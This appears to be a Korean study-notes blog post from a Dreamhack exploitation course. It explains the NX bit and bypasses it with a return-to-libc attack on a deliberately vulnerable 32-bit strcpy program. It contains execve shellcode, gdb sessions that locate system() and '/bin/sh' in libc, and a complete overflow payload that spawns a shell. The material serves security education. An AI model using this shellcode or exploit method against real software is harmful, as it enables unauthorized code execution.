Linux Exploitation & Mitigation Part1
NX bit
일반적인 프로그램에서의 스택 메모리는 코드를 실행하는 용도로 사용되는 것이 아니라, 일시적으로 데이터를 읽고 쓰는 데 사용되기 때문에 실행 권한이 있을 필요가 없다. 이러한 이유로 프로그램의 공격을 어렵게 하기 위해 메모리에 쓰기 권한과 실행 권한을 동시에 부여하지 않는 No-eXecute bit가 등장하였다.
example2.c
셸코드를 데이터 영역에 저장한 후 main 함수에서 이를 실행.
#include <stdio.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
int main(void){
void (*shellcode)() = (void(*)())code;
printf("Executing shellcode\n");
shellcode();
}
NX bit 적용되지 않은 example2_X의 메모리 맵
$ gdb -q ./example2_x
Reading symbols from ./example2_x...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048411
(gdb) r
Starting program: ~/example2_x
Breakpoint 1, 0x08048411 in main ()
(gdb) shell cat /proc/`pidof example2_x`/maps
08048000-08049000 r-xp 00000000 08:01 147398 ~/example2_x
08049000-0804a000 r-xp 00000000 08:01 147398 ~/example2_x
0804a000-0804b000 rwxp 00001000 08:01 147398 ~/example2_x
…
fffdd000-ffffe000 rwxp 00000000 00:00 0 [stack]
(gdb)
스택과 데이터 영역 모두 rwx를 갖고있다.
example2_x 바이너리를 실행했을 때는 정상적으로 셸코드가 실행된다.
$ ./example2_x
Executing shellcode
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
NX bit가 적용된 example2_nx의 메모리 맵
$ gdb -q ./example2_nx
Reading symbols from ./example2_nx...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048411
(gdb) r
Starting program: ~/example2_nx
Breakpoint 1, 0x08048411 in main ()
(gdb) shell cat /proc/`pidof example2_nx`/maps
08048000-08049000 r-xp 00000000 08:01 147400 ~/example2_nx
08049000-0804a000 r--p 00000000 08:01 147400 ~/example2_nx
0804a000-0804b000 rw-p 00001000 08:01 147400 ~/example2_nx //바이너리의 데이터 영역
…
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack] //스택 영역
(gdb)
스택과 데이터 영역 모두 rw만을 갖는다.
example2_nx 바이너리를 실행했을 때는 데이터 영역에 실행 권한이 없기 때문에 Segmentation Fault가 발생한다.
$ ./example2_nx
Executing shellcode
[1] 104735 segmentation fault (core dumped) ./example2_nx
$
Bypassing NX Bit
NX bit가 설정되어 있을 경우에는 쓰기 권한과 실행 권한이 동시에 있는 메모리 영역이 존재하지 않는다. 그래서 example1 예제와 같은 공격은 사용할 수 없다. 공격자의 코드를 메모리에 저장할 수 없기 때문에 실행 권한이 있는 영역에 존재하는 코드만을 사용해야 한다.
프로그램에 스택 버퍼 오버플로우가 존재한다면 실행 흐름을 임의의 주소로 바꾸는 것은 가능하다. NX bit가 적용되어 있는 상황에서 스택 메모리 등으로 실행 흐름을 직접 바꾸어 공격하는 것은 불가능하기 때문에 메모리의 실행 가능한 영역에 있는 코드들을 활용해서 익스플로잇해야 한다.
printf와 같은 라이브러리 함수가 사용될 때, 프로그램은 메모리에 로딩된 라이브러리 파일에서 호출된 함수의 주소를 찾아 실행한다. 그러므로 호출된 함수 이외에 system과 같이 익스플로잇에 유용한 함수 코드들도 함께 로딩된다.
HelloWorld.c
// HelloWorld.c
// gcc -o HelloWorld HelloWorld.c -m32
#include <stdio.h>
int main(void){
printf("Hello World!\n");
}
Hello World!를 출력하는 예제
$ gdb -q ./HelloWorld
Reading symbols from ./HelloWorld...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x804840e
(gdb) r
Starting program: ~/HelloWorld
Breakpoint 1, 0x0804840e in main ()
(gdb) info proc map
process 106678
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 ~/HelloWorld
0x8049000 0x804a000 0x1000 0x0 ~/HelloWorld
0x804a000 0x804b000 0x1000 0x1000 ~/HelloWorld
0xf7e02000 0xf7e03000 0x1000 0x0
0xf7e03000 0xf7fb3000 0x1b0000 0x0 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb5000 0x2000 0x1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb5000 0xf7fb6000 0x1000 0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb6000 0xf7fb9000 0x3000 0x0
0xf7fd3000 0xf7fd4000 0x1000 0x0
0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar]
0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso]
0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
(gdb) p printf
$1 = {<text variable, no debug info>} 0xf7e4c670 <printf>
(gdb) p scanf
$2 = {<text variable, no debug info>} 0xf7e5e370 <scanf>
(gdb) p exit
$3 = {<text variable, no debug info>} 0xf7e319d0 <exit>
(gdb)
0xf7e0300 ~ 0xf7fb3000 영역이 libc.so.6 라이브러리 코드영역 주소이다. gdb를 보면 printf함수 이외의 함수들이 메모리에 존재한다.
RTL(Return To Linc)
리턴 주소를 라이브러리 내에 존재하는 함수의 주소로 바꿔 NX bit를 우회하는 공격 기법
libc.so.6 라이브러리에는 execve, execlp, execl, execvp, system, popen 등 프로그램을 실행할 수 있는 다양한 함수들이 존재한다. 이 중 system 함수는 인자를 하나만 받기 때문에 익스플로잇할 때 많이 사용된다. system 함수의 인자는 실행할 셸 명령어 문자열의 주소이기 때문에 만약 "/bin/sh" 문자열의 주소를 system 함수의 인자로 넘겨준 후 호출하면 /bin/sh바이너리가 실행된다.
example1_nx
//gcc -o example1_nx example1.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
#include <stdio.h>
int vuln(char * src){
char buf[32] = {};
strcpy(buf, src);
return 0;
}
int main(int argc, char * argv[], char * environ[]){
if (argc < 2){
exit(-1);
}
vuln(argv[1]);
return 0;
}
NX bit를 적용시킨 example1
(gdb) r `python -c 'print "A"*36+"BBBB"'`
Starting program: ~/example1_nx `python -c 'print "A"*36+"BBBB"'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info reg
eax 0x0 0
ecx 0xffffd770 -10384
edx 0xffffd520 -10976
ebx 0x0 0
esp 0xffffd524 0xffffd524
ebp 0x41414141 0x41414141
esi 0xf7fb5000 -134524928
edi 0xf7fb5000 -134524928
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/4wx $esp-4
0xffffd520: 0x42424242 0xffffd700 0x00000000 0xf7e1b637
(gdb)
buf배열부터 vuln 함수의 리턴 주소 위치까지는 36바이트이다. 실행 결과 eip 레지스터가 0x42424242로 바뀌었고, ret을 하기 전의 스택 포인터인 esp-4 메모리에 0x42424242가 저장되어 있다.
만약 인자가 3개인 함수 func(1, 2, 3)을 호출한다면 func+0 시점에서의 스택 메모리 상태는 다음과 같다.
리턴 주소에 호출할 함수의 주소를 덮어쓴 후 ret을 하면 eip 레지스터가 덮은 값이 되고, esp 레지스터는 리턴 주소의 위치+4가 된다. 위를 참고했을 때, 함수 시작 부분에서의 인자의 위치는 esp+4가 되고, 호출된 함수의 리턴 주소가 저장된 위치는 esp+0이 된다. 앞서 배운 함수 호출 규약을 참고해 보면, system("/bin/sh")를 호출하는 익스플로잇 코드는 다음과 같이 구성된다.
익스플로잇 코드 구조
"A" * 36 + (system 함수 주소) + "BBBB" + ("/bin/sh" 주소)
BBBB 문자열은 system 함수가 종료되고 난 후 리턴할 주소인데, 단지 system("/bin/sh")를 실행하는 것이 목표이기 때문에 임의의 값을 적어도 무방하다.
RTL에 필요한 주소 찾기
system("/bin/sh")를 호출하기 위해 알아야 하는 값은 system함수의 주소와 /bin/sh 문자열의 주소다.
gdb로 알아보자.
$ gdb -q ./example1_nx
Reading symbols from ./example1_nx...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048479
(gdb) r aaaabbbb
Starting program: ~/example1_nx aaaabbbb
Breakpoint 1, 0x080484fb in main ()
(gdb) info proc map
process 110780
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 ~/example1_nx
0x8049000 0x804a000 0x1000 0x0 ~/example1_nx
0x804a000 0x804b000 0x1000 0x1000 ~/example1_nx
0xf7e02000 0xf7e03000 0x1000 0x0
0xf7e03000 0xf7fb3000 0x1b0000 0x0 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb5000 0x2000 0x1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb5000 0xf7fb6000 0x1000 0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb6000 0xf7fb9000 0x3000 0x0
0xf7fd3000 0xf7fd4000 0x1000 0x0
0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar]
0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso]
0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e3dda0 <system>
(gdb) find 0xf7e03000, 0xf7fb3000, "/bin/sh"
0xf7f5ea0b
1 pattern found.
(gdb) x/s 0xf7f5ea0b
0xf7f5ea0b: "/bin/sh"
(gdb)
main 함수에 브레이크포인트를 설정한 후 gdb의 print 명령어를 통해 system의 주소를 찾고, find 명령어를 통해 libc.so.6 라이브러리에 존재하는 /bin/sh 문자열의 주소를 찾는다.
system이나 popen등의 셸 명령어 실행 하뭇들이 내부적으로 /bin/sh 문자열을 사용하기 때문에 라이브러리 메모리에서 찾을 수 있다.
system 함수의 소스코드
#define SHELL_PATH "/bin/sh" /* Path of the shell. */
#define SHELL_NAME "sh" /* Name to give it. */
...
static int
do_system (const char *line)
{
...
status = __posix_spawn (&pid, SHELL_PATH, 0, &spawn_attr,
(char *const[]){ (char*) SHELL_NAME,
(char*) "-c",
(char *) line, NULL },
__environ);
__posix_spawnattr_destroy (&spawn_attr);
...
}
int
__libc_system (const char *line)
{
if (line == NULL)
/* Check that we have a command processor available. It might
not be available after a chroot(), for example. */
return do_system ("exit 0") == 0;
return do_system (line);
}
weak_alias (__libc_system, system)
익스플로잇 코드
"A"*36 + "\xa0\xdd\xe3\xf7" + "BBBB" + "\x0b\xea\xf5\xf7"
vuln 함수가 리턴하는 시점에 브레이크포인트를 설정해 스택 메모리를 살펴보자.
(gdb) disas vuln
Dump of assembler code for function vuln:
0x0804843b <+0>: push ebp
0x0804843c <+1>: mov ebp,esp
0x0804843e <+3>: sub esp,0x20
...
0x08048475 <+58>: ret
End of assembler dump.
(gdb) b *0x08048475
Breakpoint 1 at 0x8048475
(gdb) r `python -c 'print "A"*36+"\xa0\xdd\xe3\xf7"+"BBBB"+"\x0b\xea\xf5\xf7"'`
Starting program: ~/example1_nx `python -c 'print "A"*36+"\xa0\xdd\xe3\xf7"+"BBBB"+"\x0b\xea\xf5\xf7"'`
Breakpoint 1, 0x08048475 in vuln ()
(gdb) x/i $eip
=> 0x8048475 <vuln+58>: ret
(gdb) x/3wx $esp
0xffffd5b0: 0xf7e3dda0 0x42424242 0xf7f5ea0b
system 함수의 주소와 "/bin/sh" 문자열의 주소가 스택에 저장되어 있는 것을 확인
실제 바이너리의 argv[1]에 넣어 실행
$ ./example1_nx `python -c 'print "A"*36 + "\xa0\xdd\xe3\xf7" + "BBBB" + "\x0b\xea\xf5\xf7"'`
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$
'시스템 해킹 > dream hack' 카테고리의 다른 글
[dream hack] PLT, GOT Section (0) | 2021.02.27 |
---|---|
[dream hack] ASLR (0) | 2021.02.26 |
[dream hack] NOP Sled (0) | 2021.02.18 |
[dream hack] Return address overwrite (0) | 2021.02.18 |
[dream hack] Linux Exploitation & Mitigation Part 1 - 1. ELF 동적 분석 (0) | 2021.02.08 |